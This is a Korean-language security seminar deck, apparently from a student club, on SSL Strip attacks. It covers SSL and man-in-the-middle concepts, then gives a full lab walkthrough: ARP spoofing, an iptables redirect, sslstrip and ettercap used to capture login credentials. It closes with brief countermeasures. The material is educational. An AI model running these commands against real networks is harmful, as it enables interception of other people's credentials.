SSL Strip Attack JAC (SemiDntmd) 이우승 semidntmd.tistory.com

Similar documents
Network seminar.key

Windows 8에서 BioStar 1 설치하기

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

BEA_WebLogic.hwp

bn2019_2

Snort Install Manual Ad2m VMware libnet tar.gz DebianOS libpcap tar.gz Putty snort tar.gz WinSCP snort rules 1. 첫번째로네트워크설정 1) ifconf

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

Microsoft Word - src.doc

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

아래 항목은 최신( ) 이미지를 모두 제대로 설치하였을 때를 가정한다

Sena Device Server Serial/IP TM Version

01장

No

1아이리포 기술사회 모의고사 참조답안

Microsoft PowerPoint - L4-7Switch기본교육자료.ppt

정보보안 개론과 실습:네트워크

untitled

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

PowerPoint 프레젠테이션

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

Subnet Address Internet Network G Network Network class B networ

일반적인 네트워크의 구성은 다음과 같다

*금안 도비라및목차1~9

PowerPoint 프레젠테이션

PowerPoint Template

歯박지원-구운몽.PDF

*금안14(10)01-도비라및목차1~12

VPN.hwp

<564D B8A65FC0CCBFEBC7D15FB8AEB4AABDBA5FBCADB9F65FC8AFB0E65FB1B8C3E02E687770>

The Pocket Guide to TCP/IP Sockets: C Version

SSL인증서 설치 매뉴얼 (Apache)

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

Tomcat.hwp

정보보안 개론과 실습:네트워크

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

StruxureWare Data Center Expert 7.2.x 의 새 기능 StruxureWare Data Center Expert 7.2.x 릴리스에서 사용할 수 있는 새 기능에 대해 자세히 알아보십시오. 웹 클라이언트 시작 화면: StruxureWare Cen

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

서비스) 와서버( 관리대상서버) 간에자격증명을사용하여서로의 ID 를확인하고서로주고받는데이터를검사하고암호화하는프로세스 이다. 높은인증수준은일반적으로성능의저하를가져올수있지만높은 수준의보안과데이터무결성을제공한다. 기본값 - 관리대상서버에설정되어있는 DCOM 인증수준기본 값을

업데이트일 : Server CIP 기능가이드 목차서비스소개 CIP 사용방법 Inter-AZ 신청방법 CIP 고객 VM 설정방법 서비스소개 본문서는 KT ucloud server 의부가기능인 Cloud Internal Path ( 이하 CIP 이라함

Webtob( 멀티도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

*금안 도비라및목차1~17

한국에너지기술연구원 통합정보시스템설치방법설명서 한국에너지기술연구원 지식정보실 - 1 -

PowerPoint 프레젠테이션

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

Microsoft PowerPoint - 02_Linux_Fedora_Core_8_Vmware_Installation [호환 모드]

운영체제실습_명령어

Secure Programming Lecture1 : Introduction

TTA Journal No.157_서체변경.indd

행자부 G4C

DoS 공격의유형분석및탐지방법 (Monitoring and Investigation of DoS Attack) 영산대학교 사이버경찰학과 이성진

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C

이도경, 최덕재 Dokyeong Lee, Deokjai Choi 1. 서론

IP Cam DDNS 설정설명서(MJPEG) hwp

OnTuneV3_Manager_Install

Microsoft Word doc

untitled

SBR-100S User Manual

VMware vsphere

토익S-채용사례리플렛0404

본교재는수업용으로제작된게시물입니다. 영리목적으로사용할경우저작권법제 30 조항에의거법적처벌을받을수있습니다. [ 실습 ] 스위치장비초기화 1. NVRAM 에저장되어있는 'startup-config' 파일이있다면, 삭제를실시한다. SWx>enable SWx#erase sta

소프트웨어설치 1. 소프트웨어설치및제거 ( 소스코드 ) 소스코드컴파일을이용한 S/W 설치 1. 소스코드다운로드 - 예 ) httpd tar.gz - 압축해제 : #tar xzvf httpd tar.gz - INSTALL 또는 README파일참조

Assign an IP Address and Access the Video Stream - Installation Guide

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우.

시스코 무선랜 설치운영 매뉴얼(AP1200s_v1.1)

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

Tomcat 4.x 웹서버에 J2SE 를설치를확인합니다. java -version java version "1.4.2_05" Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.2_05-b04) Java HotSp

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

초기설정 WebtoB Web Server 에서인증서를사용하기위해 CSR 을생성하는방법입니다. 1. 초기설정 - CSR 을생성하기전에다음의몇가지사항을필히확인합니다. 부팅후 Path 나환경변수를일일이설정하지않게초기설정파일을사용하여로그인시자동으로실행되도록하고있습니다. 그러나

ApeosPort-V 7080/6080, DocuCentre-V 7080/6080 User Guide (For AirPrint)

USB 케이블만을이용한리눅스 NFS 개발환경 (VirtualBox) 최초작성 : 2010 년 10 월 21 일 작성자 : 김정현 수정내용 최초작성 by 김정현 스크립트추가, 설명보충 by 유형목 1. VritualBox

TCP.IP.ppt

cam_IG.book

WebtoB.hwp

Contents Test Lab 홖경... 3 Windows 2008 R2 서버를도메인멤버서버로추가... 4 기존 Windows 2003 AD 홖경에서 Windows 2008 R2 AD 홖경으로업그레이드를위한사젂작업 7 기존 Windows 2003 AD의스키마확장...

Click to edit Master title style

Ç×°ø¾ÈÀüÁ¤º¸³×Æ®¿öÅ©±¸Ãà¹æ¾È¿¡°üÇÑ¿¬±¸.hwp

FileMaker 15 WebDirect 설명서

Remote UI Guide

. PC PC 3 [ ] [ ], [ ] [ ] [ ] 3 [ ] [ ], 4 [ ] [ ], 4 [Internet Protocol Version 4 (TCP/IPv4)] 5 [ ] 6 [ IP (O)], [ DNS (B)] 7 [ ] 한국어 -

목차 1. 개요 배경 파일정보 상세분석 SMB 취약점공격흐름 특징적인행위 대응

Microsoft PowerPoint - 07-EDU-Apache-9-1.ppt

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

Microsoft PowerPoint - AME_InstallRoutine_ver8.ppt


< F5320B4EBC0C0C0E5BAF1BFA120B4EBC7D120BAB8BEC8B1E2B4C920B0A1C0CCB5E528C3D6C1BE292E687770>

게시판 스팸 실시간 차단 시스템

Outlook IMAP/POP 사용자 설명서 September, 2015

The Pocket Guide to TCP/IP Sockets: C Version

Apache install guide

목 차 1. 시작하기전에 Static ARP ARPwatch DNS Spoofing Attack DNS Spoofing 시연 끝맺음

Microsoft PowerPoint - Supplement-03-TCP Programming.ppt [호환 모드]

시스템, 네트워크모니터링을통한보안강화 네트워크의미래를제시하는세미나 세미나 NetFocus 2003 : IT 관리자를위한네트워크보안방법론 피지피넷 /

RHEV 2.2 인증서 만료 확인 및 갱신

SMB_ICMP_UDP(huichang).PDF

정적으로 설치된 mod_ssl 모듈확인 동적으로 설치된 mod_ssl 모듈확인 웹서버에 설치된 모듈중 mod_so.c 를 먼저 확인후 동적으로 설치된 모듈중 mod_ssl.so 를 확인합니다. 동적으로 설치된 경우 apache 설치 디렉토리의 module 이나 libe

Microsoft Outlook G Suite 가이드


Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Transcription:

SSL Strip Attack JAC (SemiDntmd) 이우승 semidntmd.tistory.com

Content 1. SSL Strip - SSL? - SSL MITM - SSL Strip 2. SSL Strip 공격 3. 대응방법 Copyright@2012 All Rights Reserved by SemiDntmd 2

1. SSL Strip 1-1 SSL? SSL(Secure Sockets Layer) 은웹서버와사용자의브라우저사이에서주고받는데이터의기밀성과무결성을보호하는매우뛰어난기술인것임에는틀림이없다. SSL 을이용하면공격자가중간에서통신을가로채서악용하는것을막는데어느정도도움이되고사용자가최소한지금접속한사이트가과연의도한그사이트인지확실을가질수있게하는데는도움이된다. 그러나 SSL은애플리케이션의서버나클라이언트컴포넌트를직접공격하는것에는아무런방어책이되지못하는데, 대부분의성공적인공격이이와같은형태로발생하고있다. 1-2 SSL MITM MITM 기본적으로 SSL 통신을이용할경우 Server와 Client는보안채널을통해데이터를주고받게되며보안채널을만들기위해서는 SSL 혹은 TLS 등이사용됨. 그런데 TCP/IP 구조는 Server와 Client는직접연결되는것이아니라여기저기를거쳐서연결되게되는데중간에악의적인라우터나가짜 AP가있을경우통신이변조될가능성이있음. 중간에끼어들어공격을하는것을 MITM( Man In The Middle ) 이라고한다. [ 그림 1] 보통의 SSL 통신과정 Copyright@2012 All Rights Reserved by SemiDntmd 3

만약클라이언트가서버와 SSL 통신을하고있으면, 해커는클라이언트의정보를탈취할수 없다. 하지만, 클라이언트가서버에게 SSL 연결요청을하는초기단계에서는가능하다. [ 그림 2] SSL Strip 공격과정 클라이언트가서버에게 Hello 를전송할때, 중간에서가로채고, 해커는클라이언트가 Hello 를전송한것처럼서버에 Hello 를전송한다. 서버는해커를클라이언트로알고 Server Hello 와서버인증서를전송하게되어, SSL MITM Attack 이성립하게된다. 공격원리 - Key 동기화를위해인증서를전달하는과정이공격자에게노출됨 - 공격자는자신이만든임의의인증서로교체한후에암호화된트래픽을복호화할수있음 해커가 MITM(Man In The Middle) 을사용하여 SSL 통신을중간에개입을할경우사용자의 ID 와 Password 같은중요한정보가해커에게알려지게된다. 이때 보안인증서 가이상하 다는보안경고창이띄워지게되는데일반사람들은별생각없이무시하기를누른다. [ 그림 3] 문제가있는 보안인증서 경고창 하지만이공격은위조된인증서를피해자가받아들이지않으면공격성공률이많이떨어진 다. 그래서나온공격이 SSL Strip Attack 이다. Copyright@2012 All Rights Reserved by SemiDntmd 4

1-3 SSL Strip 최근의브라우저들은 Negative Feedback 형태로잘못된인증서페이지를보고하므로 SSL MITM 공격성공률이 어짐 SSL Strip 은 HTTPS 를 HTTP 로변경하는공격기법임 서버만인증서를사용하는통신인경우에만가능하다. HTTP 를구현하는대부분의방법은사용자가버튼을클릭시 https 로링크되고 Redirect 를이 용하여 https 로이동한다. [ 그림 4] SSL Strip 개념도 공격자는 MITM 공격으로스니핑을하는도중피해자의 HTTP Request 를포워딩하고웹서 버의 HTTP Reponse 안의 HTML Code 내용중 https 를 http 로변경하여피해자에게전달한 다. Copyright@2012 All Rights Reserved by SemiDntmd 5

2. SSL Strip 공격 실습환경 - BT5R3-GNOME-32.iso - VirtualBox.exe - sslstrip-0.9.tar.gz ( 백트랙안에서설치 ) 기본설정 백트랙설치법은 JAC 게시판에따로업로드가되어있어서생략. 일단가상머신네트워크방식을브릿지방식으로해주고 #vi /etc/network/interfaces 에서네트워크정보를수정해준다. 아래의그림에서빨간색부 분과같은형식으로바꿔준다. ( 참고 : # vi /etc/resolv.conf -> DNS 설정 ) [ 그림 1] /etc/network/interfaces 파일 Copyright@2012 All Rights Reserved by SemiDntmd 6

# /etc/init.d/networking restart 네트워크를재시작하고 ifconfig 로설정을확인한다. [ 그림 2] ifconfig 로설정을확인 가. etter.conf 파일설정 [ 그림 3] vi /etc/etter.conf Copyright@2012 All Rights Reserved by SemiDntmd 7

[ 그림 4] etter.conf 파일수정 ettercap 환경설정파일에서 Iptables 쪽주석을제거한다. 동그라미친부분은주석 (#) 을두 개제거한다. ( 방화벽설정을해주기위해 ) 나. IP 포워딩 중간에개입된공격자는피해자와웹서버간에통신중계역할을해야하기때문에포워딩설 정을해준다. [ 그림 5] echo 1 > /proc/sys/net/ipv4/ip_forward Copyright@2012 All Rights Reserved by SemiDntmd 8

다. ARP Spoof MITM 공격으로피해자와게이트웨이간에 ArpSpoofing 을활용한다. [ 그림 6] arpspoof -i eth0 -t [Victim IP] [Gateway IP] 라. iptables 명령 ( New 터미널 ) -> 새터미널을열어서한다. #iptalbes -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 이는목적지포트가 80 번으로들어오는모든패킷은포트 10000 번으로리다이렉트시킨다는 뜻. >> ssl strip 에서기본적으로사용하는포트가 10000 번. 즉웹서비스접근시 sslstrip 을하기 위한설정이되겠음. Copyright@2012 All Rights Reserved by SemiDntmd 9

[ 그림 7] iptables - t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 마. sslstrip 실행 sslstrip 유틸을실행함으로써 https 를 http 로변경한다. [ 그림 8] sslstrip -a -k -f Copyright@2012 All Rights Reserved by SemiDntmd 10

바. ettercap 명령어를통한스니핑 ( New 터미널 ) -> 새터미널을열어서한다. [ 그림 9] ettercap -T -q -i eth0 http 로희생자가 www.faxxbook.com 접속하여 ID/PW 를입력하게되면 https 로로그인하 지만이로그인정보가 SSL Strip 에의해 http 로희생자에게전송된다. 사용자가로그인시 ettercap 명령어를실행한터미널창에서아이디와비번을확인할수있 다. [ 그림 10] www.faxxbook.com 의계정 Copyright@2012 All Rights Reserved by SemiDntmd 11

[ 그림 11] www.dxum.net 의계정 3. 대응방안 -사용자에게 https를직접입력하도록요구 -중요한데이터는추가암호화 -Client Certificate Authentication의이용 -사용자의부주의한행위를공격하는형태이므로사용자의주의가요구됨. 4. 참고 Reference & Site http://cafe.naver.com/secuholic/ http://www.boanin.com/ swbae.egloos.com/3194220 Copyright@2012 All Rights Reserved by SemiDntmd 12